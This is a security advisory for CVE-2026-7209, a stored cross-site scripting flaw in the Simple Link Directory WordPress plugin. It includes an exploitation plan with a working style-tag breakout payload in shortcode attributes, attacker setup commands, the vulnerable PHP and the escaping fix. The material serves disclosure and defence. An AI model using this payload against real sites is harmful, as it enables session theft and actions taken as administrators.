Simple Link Directory <= 8.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Simple Link Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `qcopd-directory` shortcode in all versions up to, and including, 8.9.2. This is due to insufficient input sanitization and output escaping on user supplied attributes such as `title_font_size`. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=8.9.2What Changed in the Fix
Changes introduced in v8.9.4
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-7209 ## 1. Vulnerability Summary The **Simple Link Directory** plugin (<= 8.9.2) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[qcopd-directory]` shortcode. Specifically, several attributes such as `title_font_size`, `subtitle_font_size`, `t…
Show full research plan
Exploitation Research Plan - CVE-2026-7209
1. Vulnerability Summary
The Simple Link Directory plugin (<= 8.9.2) is vulnerable to Stored Cross-Site Scripting (XSS) via the [qcopd-directory] shortcode. Specifically, several attributes such as title_font_size, subtitle_font_size, title_line_height, and subtitle_line_height are passed directly into CSS blocks via the WordPress function wp_add_inline_style without sufficient sanitization or escaping. This allows an authenticated attacker (Contributor level or higher) to inject arbitrary HTML and JavaScript by breaking out of the <style> context.
2. Attack Vector Analysis
- Endpoint: The standard WordPress post/page editor.
- Shortcode:
[qcopd-directory] - Vulnerable Parameter: Shortcode attributes, specifically
title_font_size. - Authentication Level: Authenticated (Contributor+). Contributors can create posts/pages and use shortcodes but cannot publish them without approval. However, the XSS will execute for any user (including Administrators) who previews the draft or views the published post.
- Precondition: At least one "Link Directory" (custom post type
sld) must exist for the shortcode to process the template files containing the vulnerability.
3. Code Flow
- Registration: The shortcode is registered in
qc-op-directory-shortcodes.php:add_shortcode('qcopd-directory', 'qcopd_directory_full_shortcode'); - Processing:
qcopd_directory_full_shortcodecallsshow_qcopd_full_list($atts). - Extraction:
show_qcopd_full_listusesextract(shortcode_atts(...))to populate variables like$title_font_sizeand$style. - Template Loading: Depending on the
styleattribute (default:simple), the plugin includes a template file (e.g.,templates/simple/template.php). - Vulnerable Sink: Inside
templates/simple/template.php, the$title_font_sizevariable is used to construct a CSS string forwp_add_inline_style:$customcss = ''; $customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{'; if($title_font_size!=''){ $customcss .= 'font-size:'.$title_font_size.';'; } // ... wp_add_inline_style( 'sld-css-simple', $customcss ); - Rendering: WordPress outputs the contents of
$customcssinside a<style>block. An attacker can use</style>to close the block and inject a<script>tag.
4. Nonce Acquisition Strategy
Since this is an authenticated Stored XSS vulnerability performed via the WordPress post editor, the attacker needs a standard WordPress post nonce and cookie to create/edit a post.
- Log in as a Contributor.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnoncefrom the HTML form:browser_eval("document.querySelector('#_wpnonce').value")
- Use this nonce in the
http_requestto save the post containing the malicious shortcode.
5. Exploitation Strategy
- Identify Target: Ensure at least one
sld(Link Directory) post exists. - Craft Payload: Create a shortcode attribute that breaks the CSS and style tag:
title_font_size='20px; } </style><script>alert(document.domain)</script>'
- Inject Shortcode: Create a new page/post with the following content:
[qcopd-directory style="simple" title_font_size='20px; } </style><script>alert(document.domain)</script>']
- Trigger Execution: Access the permalink of the post (or the preview URL if only saved as a draft).
6. Test Data Setup
Before exploitation, the environment must be prepared using wp-cli:
- Create Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create a Link Directory (sld) post: (The shortcode requires at least one list to exist to trigger the template rendering logic).
wp post create --post_type=sld --post_title="Test Directory" --post_status=publish
7. Expected Results
When the page containing the shortcode is loaded:
- The WordPress engine processes the
[qcopd-directory]shortcode. - The plugin enqueues the
sld-css-simplestylesheet. - The plugin calls
wp_add_inline_stylewith the payload. - The HTML response will contain:
<style id='sld-css-simple-inline-css' type='text/css'> ... font-size:20px; } </style><script>alert(document.domain)</script>;} </style> - The browser executes
alert(document.domain).
8. Verification Steps
- Verify Post Content: Use
wp-clito check the stored shortcode:wp post get [POST_ID] --field=post_content - Verify Source Output: Use
http_requestto fetch the page and grep for the broken style tag:http_request GET "http://localhost:8080/?p=[POST_ID]" | grep "</style><script>alert"
9. Alternative Approaches
- Other Attributes: If
title_font_sizeis sanitized in a specific environment, trysubtitle_font_size,title_line_height, orsubtitle_line_heightacross different styles (e.g.,style="style-1"). - Other Styles: The vulnerability exists in multiple template files:
templates/simple/template.phptemplates/style-1/template.phptemplates/style-16/template.php
- CSS-Based XSS: In some modern browsers, if
<script>is filtered, one could attempt XSS viabackground-image: url("javascript:...")or similar CSS vectors, although this is largely mitigated in modern engines compared to the<style>breakout.
Summary
The Simple Link Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [qcopd-directory] shortcode. Authenticated attackers with Contributor-level permissions or higher can inject arbitrary scripts into pages by using crafted shortcode attributes, such as title_font_size, which are inserted into inline CSS blocks without sanitization or escaping.
Vulnerable Code
/* templates/simple/template.php lines 53-62 */ <?php if( $style == "simple" ): $customcss = ''; $customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{'; if($title_font_size!=''){ $customcss .= 'font-size:'.$title_font_size.';'; } if($title_line_height!=''){ $customcss .= 'line-height:'.$title_line_height.';'; } $customcss .= '}'; wp_add_inline_style( 'sld-css-simple', $customcss ); ?> --- /* templates/style-1/template.php lines 105-122 */ <?php if( $style == "style-1" ) : $customcss = ''; $customcss .= '#qcopd-list-'.$listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-main {'; if($title_font_size!=''){ $customcss .= 'font-size:'.$title_font_size.' !important;'; } if($title_line_height!=''){ $customcss .= 'line-height:'.$title_line_height.' !important;'; } $customcss .= '}'; $customcss .= '#qcopd-list-'. $listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-sub {'; if($subtitle_font_size!=''){ $customcss .= 'font-size:'. $subtitle_font_size.' !important;'; } if($subtitle_line_height!=''){ $customcss .= 'line-height:'. $subtitle_line_height.'!important;'; } $customcss .= '}'; wp_add_inline_style( 'sld-css-style-1', $customcss ); ?>
Security Fix
@@ -55,10 +55,10 @@ $customcss = ''; $customcss .= '#list-item-'.$listId .'-'. get_the_ID().'.simple ul li a{'; if($title_font_size!=''){ - $customcss .= 'font-size:'.$title_font_size.';'; + $customcss .= 'font-size:'.esc_attr($title_font_size).';'; } if($title_line_height!=''){ - $customcss .= 'line-height:'.$title_line_height.';'; + $customcss .= 'line-height:'.esc_attr($title_line_height).';'; } $customcss .= '}'; wp_add_inline_style( 'sld-css-simple', $customcss ); @@ -107,20 +107,20 @@ $customcss = ''; $customcss .= '#qcopd-list-'.$listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-main {'; if($title_font_size!=''){ - $customcss .= 'font-size:'.$title_font_size.' !important;'; + $customcss .= 'font-size:'.esc_attr($title_font_size).' !important;'; } if($title_line_height!=''){ - $customcss .= 'line-height:'.$title_line_height.' !important;'; + $customcss .= 'line-height:'.esc_attr($title_line_height).' !important;'; } $customcss .= '}'; $customcss .= '#qcopd-list-'. $listId .'-'. get_the_ID().'.style-1 .ca-menu li .ca-sub {'; if($subtitle_font_size!=''){ - $customcss .= 'font-size:'. $subtitle_font_size.' !important;'; + $customcss .= 'font-size:'.esc_attr($subtitle_font_size).' !important;'; } if($subtitle_line_height!=''){ - $customcss .= 'line-height:'. $subtitle_line_height.'!important;'; + $customcss .= 'line-height:'.esc_attr($subtitle_line_height).'!important;'; } $customcss .= '}'; wp_add_inline_style( 'sld-css-style-1', $customcss );
Exploit Outline
1. Obtain Contributor-level credentials (or higher) to a WordPress site using the Simple Link Directory plugin. 2. Ensure at least one 'Link Directory' (sld post type) exists, as the vulnerable template logic only triggers when a directory list is being rendered. 3. Create or edit a WordPress post and insert the [qcopd-directory] shortcode. 4. Set a malicious payload for the 'title_font_size' (or other similar font/height attributes) that closes the CSS block and style tag, then executes arbitrary JavaScript. Payload example: [qcopd-directory style="simple" title_font_size="20px; } </style><script>alert(document.domain)</script>"] 5. Save the post as a draft or publish it. The XSS will execute for any user (including administrators) who previews or views the post, allowing the attacker to potentially capture cookies or perform actions on behalf of the victim.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.